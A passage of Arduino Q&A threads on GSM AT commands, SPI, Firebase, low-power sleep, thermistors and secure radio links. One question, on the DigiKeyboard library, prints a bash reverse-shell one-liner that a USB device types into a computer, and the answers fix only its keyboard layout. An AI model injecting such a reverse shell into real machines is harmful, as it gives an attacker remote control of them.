        OK

**Error comes here**

        AT+CSTT="live.vodafone.com"
        ERROR

Is there a way to resolve this issue
 - With the same setup/libraries OR
 - By upgrading libraries/firmware of the module OR
 - Using any other set of commands

Please provide if any of you have a sample code to access a REST API. Appreciate your help very much.

body:
CSTT works on GPRS modules like SIM900. I found a way to get SIM5320E working to download websites. Tested with TeraTerm and used `<Ctrl M>` and `<Ctrl J>` instead of `'<CR> <LF> OR /r/n'` characters.

**Network setup**

    AT+CGDCONT=1,"IP","<your APN>","0.0.0.0"
    AT+CGSOCKCONT=1,"IP","<your APN>"
    AT+CSOCKSETPN=1

**Start HTTP service**
You can stop and start service if it's not responding properly.

    AT+CHTTPSSTART
    AT+CHTTPACT="www.iforce2d.net",80

**HTTP GET request**

    GET /test.php HTTP/1.1  <-- don't hit enter, instead hit the below 2 keys
    <Ctrl M>
    <Ctrl J>
    Host: www.iforce2d.net  <-- don't hit enter, instead hit the below 2 keys
    <Ctrl M>
    <Ctrl J>
    Connection: close  <-- don't hit enter, instead hit the below 4 keys. This is useful when connecting to REST APIs to download the the respective result only.
    <Ctrl M>
    <Ctrl J>
    <Ctrl M>
    <Ctrl J>

To end the command and to receive results:

    <Ctrl Z>

You will receive a lot of data here.

**Stop HTTP service**

    AT+CHTTPSCLSE
    AT+CHTTPSSTOP

You will get the contents of the website. Probably it should contain the data you need (I didn't test the content. May be you will need to tweek the result a bit.)


message:
Can the Arduino interface with a fingerprint sensor on my mobile?

I own a OnePlus 6 and it has a fingerprint sensor. Instead of using a fingerprint scanner module like the R305, could I just use my mobile for scanning the fingerprints? If yes, how do I implement this?

This is for creating a smart home security system.

body:
Technically, yes it is possible.

1. Write an app for your phone that scans your fingerprint and does "something" with it.
2. Decide on (and implement) some form of communication protocol between the phone and the Arduino and send data from the phone depending on what you decide the "something" above is.
3. Write a sketch for your Arduino that responds to that communication protocol and performs whatever task you require.

The Arduino side of things, effectively, has nothing at all to do with the fingerprint scanner - it just accepts data from your phone. The fact that the phone is generating that data using the fingerprint scanner as a stimulus is of no importance to the Arduino.

99% of the work for the fingerprint scanner will be done on the phone, and done using phone software. Not Arduino software.


body: Majenko in his answer described how to do it if you can code an application for phone. Other option is a little  overkill, but should be a ready solution. You could use 1Shield. It is a shield, a library and a phone app to use phone resources with Arduino. It supports fingerprint sensor. I have no experience with it, I only read about it.


body:
You'd need an app on your mobile to read the sensor and communicate the result to your Arduino _in a secure way_ that cannot be spoofed by an intruder. That secure communication over an open channel (WiFi, I assume?) is not trivial to do right, so that would be a weak point in your security.

[Blynk](https://www.blynk.cc/), an app+server+Arduino library combination provides an authentication token to pair with your Arduino in a relatively secure way. You quickly make (drag-and-drop) a control panel for your Arduino system with it. It doesn't offer fingerprint sensing directly, but if you keep your Blynk authentication token a secret, keep your Blynk app+token on your mobile, and the mobile is fingerprint-locked, you'd have essentially the same thing, and the pieces already exist. You'd only need to code the smart-home parts for the Arduino.


message:
how to make GPRS/GSM SIM900 shield work with gps neo-6M module using Arduino UNO board

[![enter image description here][1]][1]I'm a beginer to arduino program.i will like to make a program that will send latitude and longitude on my mysql database.so since 3 days i try to learn how to use all this material(GPRS/GSM SIM900 shield, gps neo-6M).But i only success to make them work alone.i also learn that i cannot use SoftwareSerial for GPRS/GSM SIM900 shield and  gps neo-6M at the same time.
so how can i make GPRS/GSM SIM900 shield and gps neo-6M work together using arduino uno

thank you for you help

  [1]: https://i.stack.imgur.com/FzYih.jpg

body:
I will suggest you to use TinyGPS to connect only via GPS and get the position, make sure you are testing outside with good view of the sky or the gps will never get a lock down.

Then when you are familiar with TinyGPS and how to get the location, add the GSM module to send over this information to your mysql server.


body:
I think you are searching for a solution like this [Interfacing GSM and GPS Module using Arduino][1] where GPS and GSM modules can run together and receive data at the same time.

I tried bringing up both inside setup() and it blocked the other device. Here is some extract of the code (Note that rx,tx and baud rates may differ according to the modules).

    SoftwareSerial gsm(7,8);
    SoftwareSerial gps(3,4);

    void setup() {
        Serial.begin(9600);
        gps.begin(9600);
        gsm.begin(4800); <--- This stopped receiving GPS updates
    }

If you look for an advanced way of handling this situation, you may need to implement some light-weight threads (e.g Protothreads) and assign GPS and GSM modules to run in separate threads, so one device may not block send/receive of the other device. [These Arduino forum answers][2] may help for such approach.

  [1]: https://steemit.com/utopian-io/@kimp0gi/interfacing-gsm-and-gps-module-using-arduino-a-step-by-step-guide-tutorial-for-tracking
  [2]: https://arduino.stackexchange.com/q/286/49122


message:
Arduino with 8 LEDs and a switch

I have an assignment wherein we have 8 LEDs connected to an Arduino Uno which has a switch. These LEDs light up according to the johnson counter but every time I turn the switch off it should reset back to the start. An example is if I turned the switch off while the pin is at 8 going back to 1 , then when i turn it on it should be back to 1 again. I got the 1 to 8 reset part right but the 8 to 1, I'm having trouble solving.

Here is my code:

<!-- language: lang-cpp -->

    int pin;
    int sw3 = 10;

    void setup() {
      // put your setup code here, to run once:
      for (pin = 2; pin <= 9; pin++) {
        pinMode(pin, OUTPUT);
      }
      pinMode(sw3, INPUT);
    }

    void loop() {
      pin == 2;
      if (digitalRead(sw3) == HIGH) {
        for (pin = 2; pin <= 9; pin++) {
          digitalWrite(pin, HIGH);
          delay(200);
        }
      }
      else {
        digitalWrite(pin, LOW);
      }

      delay(200);

      for (pin = 2; pin <= 9; pin++)
      {
        digitalWrite(pin, LOW);
      }
      delay(200);

      if (digitalRead(sw3) == HIGH) {
        for (pin = 9; pin >= 2; pin--) {
          digitalWrite(pin, HIGH);
          delay(200);
        }
      }
      else {

        digitalWrite(pin, LOW);
      }

      delay(200);

      for (pin = 9; pin >= 2; pin--) {
        digitalWrite(pin, LOW);
      }
      delay(200);
      {
        if (digitalRead(sw3) == LOW) {
          digitalWrite(pin, LOW);
        }
        else {
          digitalWrite(pin, LOW);
        }
      }
    }

body:
Some fixes:

`pin==2;`  should only be 1 `=` here. `==` is a comparison.

`pinMode(sw3,INPUT);`  make this `INPUT_PULLUP`, to turn on the internal pullup resistor

`if(digitalRead(sw3)==HIGH){ `  change this to `LOW`, and wire your switch/button to connect the pin to GND when pressed. The internal pullup will unsure the pin is HIGH when not pressed, and the button/switch makes it LOW when pressed. The pin is thus not allowed to 'float' and return a random HIGH or LOW.


message:
L9110H-bridge motor driver

So I have this old RC car which doesn't seem to connect to the joystick very well so im going to modify it with an Uno with 433 MHz receiver/transmitter.

Both the steer and drive motors work as intended so long as you can reverse their current. I've seen people use the dual channel drivers which is what I know I probably what I should use to drive the motors. I bought a starter kit a while back which came with a single L9110H Chip. I thought maybe I could order another one and just solder them to a PCB and mount the PCB along with the Uno inside the car that way I don't have an extra chip just collecting dust. I've looked at the [data sheet for the L9110H][1] and came up with a diagram on Fritzing.

[![L9110H-bridge motor driver Fritzing diagram][2]][2]

I was hoping someone could tell me if I'm on the right track with this?

  [1]: https://www.elecrow.com/download/datasheet-l9110.pdf
  [2]: https://i.stack.imgur.com/zPwJo.png "L9110H-bridge motor driver Fritzing diagram"

body: Yes, looks good to me. That looks to be identical to the "Application Circuit" on page 2 of the datasheet you link to.


message:
SPI Digital Potentiometer not working on ESP32

I have an [MCP4151][1] digital potentiometer chip. I have managed to get it to work using and Arduino Uno using the code below:

    #include <SPI.h>

    byte address = 0x00;
    int CS= 5;

    void setup()
    {
      pinMode (CS, OUTPUT);
      SPI.begin();
    }

    void loop()
    {
      for (int i = 0; i <= 128; i++)
      {
        digitalPotWrite(i);
        delay(10);
      }
      delay(500);
      for (int i = 128; i >= 0; i--)
      {
        digitalPotWrite(i);
        delay(10);
      }
    }

    int digitalPotWrite(int value)
    {
      digitalWrite(CS, LOW);
      SPI.transfer(address);
      SPI.transfer(value);
      digitalWrite(CS, HIGH);
    }

But when I try to get it to work using an ESP32 programmed using Arduino language it doesn't. I have connected like that

 - SCK -> 18
 - MOSI -> 23
 - SS -> 5

I also used the potentiometer inside like a voltage divider for test purposes. GND on one leg, 3.3v on the other and an LED on the wiper. Are there other settings that I have to implement in order the ESP32 SPI to work like an Arduino SPI? Did I miss something?

  [1]: https://dlnmh9ip6v2uc.cloudfront.net/datasheets/Components/General IC/22060b.pdf

body:
The [ESP32 SPI library][1] has defaults for the HSPI pins (14, 12, 13, 15). For VSPI pins, you must specify the pins in begin().

    SPI.begin(18, 19, 23, 5);

  [1]: https://github.com/espressif/arduino-esp32/blob/master/libraries/SPI/src/SPI.cpp


body:
I managed to get it to work in a strange way. I opened the example included in the ESP32 SPI Library and copied some points from there.

I first initialise a pointer to the SPI class, then I call **`begin()`** at that pointer and inside the `digitalPotWrite` function I call **`beginTransaction(10000,MSBFIRST,SPI_MODE0)`** and end the transaction before `digitalPotWrite` finishes. Full code here:

    #include <SPI.h>

    static const int spiClk = 1000000;
    byte address = 0x00;
    SPIClass * hspi = NULL;

    void setup()
    {
      pinMode(15, OUTPUT);
      hspi = new SPIClass(HSPI);
      hspi->begin();
    }

    void loop()
    {
      for (int i = 0; i <= 128; i++)
      {
        digitalPotWrite(i);
        delay(10);
      }
      delay(500);
      for (int i = 128; i >= 0; i--)
      {
        digitalPotWrite(i);
        delay(10);
      }
    }

    int digitalPotWrite(int value)
    {
      hspi->beginTransaction(SPISettings(spiClk, MSBFIRST, SPI_MODE0));
      digitalWrite(15, LOW);
      hspi->transfer(address);
      hspi->transfer(value);
      digitalWrite(15, HIGH);
      hspi->endTransaction();
    }


message:
Why do DigiKeyboard.print and println change my string?

**GOAL**: I'm trying to use `DigiKeyboard` library but I'm facing a problem when I use `print` or `println` with character different from alphanumeric ones.

**PROBLEM** : I import the library as I've seen on others projects:

    #include "DigiKeyboard.h"

Then I try to output this string "`bash -i >& /dev/tcp/127.0.0.1/80 0>&1`" using `print` method:

    DigiKeyboard.print("bash -i >& /dev/tcp/127.0.0.1/80 0>&1");

But the output is messed up:

    bash 'i :/ -dev-tcp-127.0.0.1-80 0:/1

Could you explain how can I solve?

**SOLUTION**: changing my keyboard layout to English(US) solved my problem.

Anyway I have still a doubt. How can I make the library work also with others layouts?

body:
The problem is your keyboard layout.

The USB HID protocol was originally intended to include keyboard layout information in it (country code selection in the descriptor) however no one ever used it.  All keyboards have the same layout, but manufacturers just print different letters on the keys for different countries.  It's down to the operating system to map those key codes to actual characters using the keyboard layout selected in the operating system. (The original intended method of operation would have allowed keyboards to select their own language instead of having a single global one in the OS, but people do like to choose the cheapest option...).

The Arduino is effectively a US keyboard. The letters and numbers you "print" are first converted to their keyboard codes as they would appear on a US keyboard. Those keyboard codes are then converted back to letters and numbers using your Italian keyboard layout selected in the operating system.

You would get the same effect if you got a US keyboard and plugged it in. Pressing the keys for the symbols as printed on the keys themselves you give you the same wrong characters. Pressing the keys that you are used to pressing and ignoring what is printed on the keys would give you the right symbols.

So you have a number of options:

1. Use a US keyboard globally on your computer, which would break your existing keyboard layout, or
2. Modify the Arduino core to map the characters using an Italian keymap, or
3. Work out which characters you should be sending to get the right ones for your keymap, and change your code to send those characters instead.

Of the three I'd go for option 3.  Option 1 would be too annoying, option 2 would be undone with the next Arduino core update and you'd never remember what you did.  So spend some time and work out which characters, when you print them, result in which characters being typed.


body: You might check out my fork of DigistumpArduino library (https://github.com/rsrdesarrollo/DigistumpArduino) with full keyboard layouts support.


body:
The keyboard layout is the issue here. To make a sketch that will work independently of the keyboard layout, my current strategy is to use the Alt+ASCII code method (press and hold ALT, then enter the ASCII code of the character on the numeric keypad, then release ALT).
I'm going to implement that in a fork of DigiStumpArduino's print/println function. This will cost performance (5 keystrokes insted of 1 to 3) but should be completely layout-independent.
I'll definitely make the code freely available if/when it works.


message:
Error running FirebaseDemo on nodeMCU

So I followed the guide on GitHub to run this [demo][1] which compiles and runs. It does warn of some deprecations and such in the firebase libraries :

> In member function '**const String& FirebaseArduino::error()**'  warning:
> returning reference to temporary [-Wreturn-local-addr]
>      **return error_.message().c_str();**

It is failing to update my firebase database and the firebase error message is not being displayed, seems to be because of the above error. But this does make it complicated to debug...

Can someone please help me get around this?

Appreciate any feedback or pro tips :)

**UPDATE**

So found an issue on GitHub that solved connecting to the database. Fingerprint update apparently... https://github.com/FirebaseExtended/firebase-arduino/issues/369 but still would like to solve the firebase library error so that everyone can get legible error messages back when using it.

  [1]: https://github.com/FirebaseExtended/firebase-arduino/tree/master/examples/FirebaseDemo_ESP8266

body:
It is quite right to tell you that.  The offending code is here:

    const String& FirebaseArduino::error() {
      return error_.message().c_str();
    }

In that, it calls the `message()` function on the `error_` object to get a `std::string` object, which it then gets the C string data from with `c_str()`.  It then creates (due to the return type) a temporary `String` object and copies the C string data into it.

A reference to that temporary `String` object is then returned and the `String` is then destroyed immediately.  That's bad. The returned reference now points to nothing in particular.

It wouldn't surprise me if there were other places where that kind of thing happens. Which would explain why things aren't necessarily working right.

You should raise an issue on the [Github issues page](https://github.com/FirebaseExtended/firebase-arduino/issues) for that project with the author.


body:
>  It does warn of some deprecations and such in the firebase libraries :
>
>In member function 'const String& FirebaseArduino::error()' warning: returning reference to temporary [-Wreturn-local-addr] return error_.message().c_str();

i also get some depreciation like

    /home/praz/Arduino/libraries/firebase-arduino-master/src/FirebaseObject.cpp: In member function 'bool FirebaseObject::isNullString(const String&) const':
    /home/praz/Arduino/libraries/firebase-arduino-master/src/FirebaseObject.cpp:67:57: warning: 'const char* ArduinoJson::Internals::JsonVariantCasts<TImpl>::asString() const [with TImpl = ArduinoJson::JsonVariant]' is deprecated (declared at /home/praz/Arduino/libraries/ArduinoJson-5.13.1/src/ArduinoJson/Deserialization/../JsonVariantCasts.hpp:28): use as<char*>() instead [-Wdeprecated-declarations]
       return variant.is<const char *>() && variant.asString() == NULL;
                                                             ^
    /home/praz/Arduino/libraries/firebase-arduino-master/src/FirebaseObject.cpp: In member function 'ArduinoJson::JsonVariant FirebaseObject::getJsonVariant(const String&) const':
    /home/praz/Arduino/libraries/firebase-arduino-master/src/FirebaseObject.cpp:87:26: warning: 'ArduinoJson::JsonObject& ArduinoJson::Internals::JsonVariantCasts<TImpl>::asObject() const [with TImpl = ArduinoJson::JsonVariant]' is deprecated (declared at /home/praz/Arduino/libraries/ArduinoJson-5.13.1/src/ArduinoJson/Deserialization/../JsonVariantCasts.hpp:23): use as<JsonObject>() instead [-Wdeprecated-declarations]
         json = json.asObject().get<JsonVariant>(start);
                              ^
    /home/praz/Arduino/libraries/firebase-arduino-master/src/throw_out_of_range.cpp:6:28: warning: unused parameter 'str' [-Wunused-parameter]
     void __attribute__((weak)) __throw_out_of_range(const char* str) {
                                ^
    In file included from /home/praz/Arduino/libraries/firebase-arduino-master/src/FirebaseCloudMessaging.cpp:1:0:
    /home/praz/Arduino/libraries/firebase-arduino-master/src/FirebaseCloudMessaging.h:82:79: warning: type qualifiers ignored on function return type [-Wignored-qualifiers]
       const void AddToJson(const FirebaseCloudMessage& message, JsonObject& json) const;
                                                                                ^
    /home/praz/Arduino/libraries/firebase-arduino-master/src/FirebaseCloudMessaging.cpp:80:60: warning: type qualifiers ignored on function return type [-Wignored-qualifiers]
         const FirebaseCloudMessage& message, JsonObject& json) const {
                                                                ^
    /home/praz/Arduino/libraries/firebase-arduino-master/src/Firebase.cpp: In member function 'int FirebaseRequest::sendRequest(const string&, const string&, char*, const string&, const string&)':
    /home/praz/Arduino/libraries/firebase-arduino-master/src/Firebase.cpp:76:1: warning: no return statement in function returning non-void [-Wreturn-type]
     }
     ^
    /home/praz/Arduino/libraries/firebase-arduino-master/src/Firebase.cpp: In member function 'void FirebaseStream::startStreaming(const string&, const string&, const string&)':
    /home/praz/Arduino/libraries/firebase-arduino-master/src/Firebase.cpp:89:48: warning: deprecated conversion from string constant to 'char*' [-Wwrite-strings]
       analyzeError("STREAM", status, path_with_auth);
                                                    ^
    /home/praz/Arduino/libraries/firebase-arduino-master/src/FirebaseArduino.cpp: In member function 'String FirebaseArduino::push(const String&, const ArduinoJson::JsonVariant&)':
    /home/praz/Arduino/libraries/firebase-arduino-master/src/FirebaseArduino.cpp:65:79: warning: deprecated conversion from string constant to 'char*' [-Wwrite-strings]
       int status = req_.get()->sendRequest(host_, auth_, "POST", path.c_str(), buf);
                                                                                ^
    /home/praz/Arduino/libraries/firebase-arduino-master/src/FirebaseArduino.cpp:65:7: warning: unused variable 'status' [-Wunused-variable]
       int status = req_.get()->sendRequest(host_, auth_, "POST", path.c_str(), buf);
           ^
    /home/praz/Arduino/libraries/firebase-arduino-master/src/FirebaseArduino.cpp: In member function 'void FirebaseArduino::set(const String&, const ArduinoJson::JsonVariant&)':
    /home/praz/Arduino/libraries/firebase-arduino-master/src/FirebaseArduino.cpp:94:65: warning: deprecated conversion from string constant to 'char*' [-Wwrite-strings]
       req_.get()->sendRequest(host_, auth_, "PUT", path.c_str(), buf);
                                                                     ^
    /home/praz/Arduino/libraries/firebase-arduino-master/src/FirebaseArduino.cpp: In member function 'void FirebaseArduino::getRequest(const String&)':
    /home/praz/Arduino/libraries/firebase-arduino-master/src/FirebaseArduino.cpp:101:60: warning: deprecated conversion from string constant to 'char*' [-Wwrite-strings]
       req_.get()->sendRequest(host_, auth_, "GET", path.c_str());
                                                                ^
    /home/praz/Arduino/libraries/firebase-arduino-master/src/FirebaseArduino.cpp: In member function 'virtual void FirebaseArduino::remove(const String&)':
    /home/praz/Arduino/libraries/firebase-arduino-master/src/FirebaseArduino.cpp:147:63: warning: deprecated conversion from string constant to 'char*' [-Wwrite-strings]
       req_.get()->sendRequest(host_, auth_, "DELETE", path.c_str());
                                                                   ^
    /home/praz/Arduino/libraries/firebase-arduino-master/src/FirebaseArduino.cpp: In member function 'virtual const String& FirebaseArduino::error()':
    /home/praz/Arduino/libraries/firebase-arduino-master/src/FirebaseArduino.cpp:201:33: warning: returning reference to temporary [-Wreturn-local-addr]
       return error_.message().c_str();
                                     ^
    /home/praz/Arduino/libraries/firebase-arduino-master/src/FirebaseHttpClient_Esp8266.cpp: In member function 'virtual void FirebaseHttpClientEsp8266::begin(const string&)':
    /home/praz/Arduino/libraries/firebase-arduino-master/src/FirebaseHttpClient_Esp8266.cpp:47:50: warning: 'bool HTTPClient::begin(String, String)' is deprecated (declared at /home/praz/.arduino15/packages/esp8266/hardware/esp8266/2.4.2/libraries/ESP8266HTTPClient/src/ESP8266HTTPClient.h:156) [-Wdeprecated-declarations]
         http_.begin(url.c_str(), kFirebaseFingerprint);
                                                      ^
    /home/praz/Arduino/libraries/firebase-arduino-master/src/FirebaseHttpClient_Esp8266.cpp: In member function 'virtual void FirebaseHttpClientEsp8266::begin(const string&, const string&)':
    /home/praz/Arduino/libraries/firebase-arduino-master/src/FirebaseHttpClient_Esp8266.cpp:51:80: warning: 'bool HTTPClient::begin(String, uint16_t, String, String)' is deprecated (declared at /home/praz/.arduino15/packages/esp8266/hardware/esp8266/2.4.2/libraries/ESP8266HTTPClient/src/ESP8266HTTPClient.h:157) [-Wdeprecated-declarations]
         http_.begin(host.c_str(), kFirebasePort, path.c_str(), kFirebaseFingerprint);
                                                                                ^
    Compiling library "ESP8266HTTPClient"

to fixed that, go to Preferences in Compiler Warnings choose as Default. it ignored all warning in depreciation, don't forget to update your library to get Firebase Fingerprint has changed on [2 Aug 2018][1].

Uploaded your sketch again, your should be get data like

[![enter image description here][2]][2]

  [1]: https://github.com/FirebaseExtended/firebase-arduino/pull/368
  [2]: https://i.stack.imgur.com/qsl8R.gif


message:
Converting a standard setup/loop sketch to a low power application?

Suppose I have a typical setup/loop style sketch, such as this one which turns on an LED when a button is pressed.

How do I modify this so that it enters low power mode, awakes on the button press, and puts itself back into low power mode when its logic has finished?

    void setup() {
      pinMode(ledPin, OUTPUT);
      pinMode(buttonPin, INPUT);
      // desired: enter low power mode here
    }
    void loop() {
      int buttonState = digitalRead(buttonPin);
      // desired: awake from low power mode here
      if (buttonState == HIGH) {
        digitalWrite(ledPin, HIGH);
        delay(1000);
        digitalWrite(ledPin, LOW);
      }
      // desired: back to low power mode here
    }

body:
This sketch is almost identical to the **powerDownWakeExternalInterrupt.ino** sketch that comes with the `LowPower` Library. I'm using `INPUT_PULLUP` and a N.O. push button switch to trigger it to wake up and turn an LED on.

    #include "LowPower.h"
    const byte wakeUpPin = 2;

    // Just a handler for the pin interrupt.
    void wakeUp(){}

    void setup(){

      // Configure wake up pin as input.
      // This will consumes few uA of current.
      pinMode(wakeUpPin, INPUT_PULLUP);
      pinMode(LED_BUILTIN, OUTPUT);
      digitalWrite(LED_BUILTIN, LOW);

    }

    void loop(){

      // Allow wake up pin to trigger interrupt on low.
      attachInterrupt(0, wakeUp, LOW);

      // Enter power down state with ADC and BOD module disabled.
      // Wake up when wake up pin is low.
      LowPower.powerDown(SLEEP_FOREVER, ADC_OFF, BOD_OFF);

      // Disable external pin interrupt on wake up pin.
      detachInterrupt(0);

      // Do something here.
      digitalWrite(LED_BUILTIN, HIGH);
      delay(2000);
      digitalWrite(LED_BUILTIN, LOW);

    }


message:
Thermistor doesn't work

Connecting all like shows the image, thermistor shows, that I'm going to be burnt:

[![][2]][2]

[![][1]][1]

The code is simple:

    #define analogPin  A0 //the thermistor attach to
    #define beta 4090
    #define resistance 10

    void setup()
    {
      Serial.begin(9600);
    }

    void loop()
    {
      //read thermistor value
      long a =analogRead(analogPin);
      //the calculating formula of temperature
      float tempC = beta /(log((1025.0 * 10 / a - 10) / 10) + beta / 298.0) - 273.0;
      float tempF = 1.8*tempC + 32.0;
      Serial.print("Temp: ");

      Serial.print(tempC);

      Serial.print("  C");

      Serial.print("Fahr: ");
      Serial.print(tempF);
      Serial.print(" F");
      delay(200); //wait for 100 milliseconds
    }

Do I have a wrong thermistor or wrong code?

  [1]: https://i.stack.imgur.com/Tu4S2.jpg
  [2]: https://i.stack.imgur.com/xAUUa.png

body:
The series resistance is 220 Ohms (Red, Red, Brown).

You also need to take into account the thermistor resistance at 25C. Assuming its 10K. Hence choosing a 10K series resistance will make the calculations easier.

         int THERMISTORNOMINAL =  10000;
         int SERIESRESISTOR = 10000;
         int TEMPERATURENOMINAL = 25;

         a = 1023 / a - 1;
         a = SERIESRESISTOR / a;
         tempC = a / THERMISTORNOMINAL;     // (R/Ro)
         tempC = log(tempC);                  // ln(R/Ro)
         tempC /= Beta;                   // 1/B * ln(R/Ro)
         tempC += 1.0 / (TEMPERATURENOMINAL + 273.15); // + (1/To)
         tempC = 1.0 / steinhart;                 // Invert
         tempC -= 273.15;                         // convert to C


message:
Arduino secure two way communication over radio

I would like to implement a secure communication channels between 2 arduinos communicating over 433 mhz radio modules (to be more precise using the barebone Atmega 326 chips).

I know that the lack of resources are a problem with the Atmega chips. The best starting point I could find was this library, which never got written:

https://forum.arduino.cc/index.php?topic=314845.0

The way I see it it does not matter what kind of encoding we use if an attacker can capture and replay that OTA, there has to be a 2nd component between the devices which is not known for an attacker and changes the same way like a DS based timer. If a client could encrypt its messages using key=timeXpassword key->encrypt(datatobesent) then the server could decrypt it the same way if it arrived in a proper time period like +-/5 seconds where the time does not have to be the current accurate time just a clock which is in sync between the devices. When the message is received by the server it would calculate 5 different data possibilities for the 5 seconds and look into a decrypted data for certain string to determine if that is a VALID data packet.

For this again there would be the need of an external timer circuit like the DSXXXX series because the internal timer in the chip is not reliable/overflows after a while.

Any other ideas for secure communication?

body:
You may want to take a look at my RC4-with-diffusion algorithm [RC4D][1] which is very resource friendly as it takes less than 500 bytes of flash space (when encrypting inplace) and is much faster than AES128 on an Arduino.

  [1]: https://kwasi-ich.de/blog/2018/03/05/mcu_encryption/


body:
Since you have two-way communication you can be far more cunning that just including a timestamp.  You can use real authentication.

The idea here is the "sender" first sends a request to the "receiver" saying "Let me in".

The "receiver" then sends back a message saying "Ok, here's your session key".

The "sender" then encrypts the connection credentials using that session key in some way (or encrypts it in some way including that key with the credentials) - ideally with a trapdoor hash algorithm, and sends it to the "receiver".

The "receiver" then does the same operation with the data it expects the "sender" should send, and compares it with what it received.

If they match, then the "receiver" can allow communication from that "client". The "receiver" would then send a new session key to the "sender" which would then be used to encrypt all communication thereafter. That key must be different to the first, and would need to use symmetric encryption.

This all means that:

* The authentication key changes every time - there is no chance of "replaying" it
* The communication key changes with each session, so again there is no chance of replaying messages at a later data, since the key will be wrong.

Yes, there are a lot of overheads with this method, but it's secure.

The authentication methodology is basically the [Challenge Handshake Authentication Protocol](https://en.wikipedia.org/wiki/Challenge-Handshake_Authentication_Protocol) (server sends challenge, client responds with credentials along with challenge, trapdoor encrypted, server compares with its own encryption and allows or denies).  The rest is basic encryption of your choosing using the unique key the remote end of the connection provides.


message:
MAX232 chip fails to initialize properly with arduino

I have connected a MAX232 chip for RS232 communication with my Arduino.
The chip input is connected to Arduino Tx and it is getting power from external 3.3 volt dc power source.

My Arduino is also getting power from 12 volt DC external power source.

While I connect and start the device, the PC is not getting any data until I reboot the MAX232.

How do I make a robust setup so that after I turn the powers on, it starts transmitting. Even if connection to my PC has been lost.

body:
[Datasheet for MAX232][1]

> Section 7.3 Recommended Operating Conditions VCC Supply voltage
>
> MIN=4.5, NOM=5, MAX=5.5 (V)

The MAX232 has a minimum supply voltage of 4.5V, typically expecting 5V.

There are other alternatives, such as the [MAX3232][2], which supports either 3.3V or 5V supply voltage.

  [1]: http://www.ti.com/lit/ds/symlink/max232.pdf
  [2]: http://www.ti.com/lit/ds/symlink/max3232.pdf


message:
7-12V Power supply + USB

Im connecting a servo to my Arduino Uno Rev.3. The general recommendation is to put a 7V -12V power supply for servos as far as I understand. However I’d like to combine it with an USB to a computer since I use it to flush data from a different probe on the Arduino to my PC.

- Will it be safe to use both a AC/DC adapter and serial bus?
- Will it use the USB for power draw even if adapter is connected?

body:
You will see that the Servos have 3 wires [GND, Power, and Data/Signal]. You can connect your external power supply to GND and Power of the servos, and connect the GND and Signal wires from the Servos to the Arduino.

By connecting the Grounds of the Arduino and Servos together, they share the same 0V reference and you will not damage either by powering the Servos from a higher voltage and the Arduino from USB.

It is not necessary to connect the Arduino Vin or barrel jack to the external power supply. Look at the Servos+power supply as one independent unit, and the Arduino+USB/Computer as a separate independent unit, and the only things connected between them should be GND and the servo signal/data wire.


message:
Problem with encoder count on a segway handlebar

I'm trying to implement a steering mechanism for a segway project.
The idea is to sense the tilt of the segway's handlebar with an incremental rotary encoder (omron e6j-cwz 600ppr). This way when I turn the bar to the left or right the segway turns too.
I'm using a Teensy 3.2 with the arduino IDE.

To drive the motors I use PWM.
The pulse limits are the calibrated values for +/- 100% (+/- 24V) input. The pulse range is 1.0 to 2.0ms, with 1.5ms as the zero value.

Here is a picture of the turning mechanism.

[![Encoder handlebar coupling][1]][1]

The problem is that, the movement of the handle bar is not very smooth and sometimes after tilting the handlebar and returning it to the straight position, the count never really goes back to 0, but some value around -6 to 6 counts and sometimes even -15 to 15 counts.
So the segway tries to turn even though the bar is straight.

The code I'm using to sense the tilt and set the motors is:

    //Turn encoder
    #define c_TurnEncoderPinA 15
    #define c_TurnEncoderPinB 14
    #define TurnEncoderIsReversed
    volatile bool _TurnEncoderBSet;
    volatile int _TurnEncoderTicks = 0;
    /** Turn position */
    int TurnAngular = 0;

    /** Proportional gain */
    int kp = 55;

    /** voltage to the motor*/
    float vol = 0;
    float aux;
    /** calulated pwm pulse*/
    float uy = 0;

    /**Left motor control*/
    int motorL=9;
    /**Right motor control*/
    int motorR=10;

    //Mapping voltage to pwm (Mc 160 controller)
    float  p1 = -25.44, p2 = 0.1894, p3 = 146.6, p4 = -0.2874, p5 =  -480, p6 =  1500; //pwm3

    //Discrete time values
    const int samplingTime = 1000*10; // 10000 microseconds = 10ms
    unsigned long previousTime, currentTime, timeDifference;
    int estimationTimeCount = 1;

    void setup() {
      delay(3000);
      Serial.begin(115200);
      delay(2000);
      previousTime = micros();
      // Turn encoder
      pinMode(c_TurnEncoderPinA, INPUT_PULLUP);      // sets pin A as input
      pinMode(c_TurnEncoderPinB, INPUT_PULLUP);      // sets pin B as input
      attachInterrupt(digitalPinToInterrupt(c_TurnEncoderPinA), HandleTurnMotorInterruptA, RISING);

      /*Initiate Output*/
      analogWriteResolution(11);
      pinMode(motorR,OUTPUT);
      pinMode(motorL,OUTPUT);
      analogWrite(motorR, 1500);
      analogWrite(motorL, 1500);

    Serial.println("Start...");
    }

    void loop() {
      currentTime = micros();
      timeDifference = currentTime - previousTime;
      if (timeDifference > samplingTime)
      {
        previousTime = currentTime;
        sampleEncoders();
        setMotors();
        printData();
        estimationTimeCount++;
      }
    }

    void sampleEncoders() {
      TurnAngular = _TurnEncoderTicks; //update encoder reading every 10ms.
    }

    float turn(){
      if(TurnAngular<=6 && TurnAngular>=-6)
      {
        return 0;
      }
      else
      {
       //the voltage is calculated with a proportional gain
       //times the angle of the encoder in radians.
        return (kp*TurnAngular*(2*pi/(pprT)));
      }
    }

    void setMotors() {
        vol = turn();

        // this two lines map the calculated voltage to the pwm
        // in a range of 1000 to 2000.
        aux = (vol+0.01143)/13.13;
        uy = (int) p1*pow(aux,5) + p2*pow(aux,4) + p3*pow(aux,3) + p4*pow(aux,2) + p5*(aux) + p6;
        uy = constrain(uy, 1000,  2000);

        // this is just and idea I had to counter the problem.
        // if the control is within +/-50 pulses from 1500
        // set the pulse to 1500, and the last saved value of the count to 0.
        // every 2.5 sec if the condition in met, then also reset the actual
        // count of the encoder
        if (uy < 1550 && uy > 1450)
        {
          uy = 1500;
          TurnAngular = 0;
          if ( estimationTimeCount%0 == 0 && _TurnEncoderTicks != 0)
          {
            _TurnEncoderTicks = 0;
          }
        }
      }

      /**
     Left wheel (L): forward from 1500 to 1000, backward from 1500 to 2000.
     Right wheel (R): forward from 1500 to 2000, backward from 1500 to 1000.
      **/
     //set uy to each wheel to make the segway turn.
      analogWrite(motorR,uy);
      analogWrite(motorL,uy);
    }

    void printOutput()
    {
      Serial.print("tout(");
      Serial.print(estimationTimeCount);
      Serial.print(", :) = [");
      Serial.print(TurnAngular);
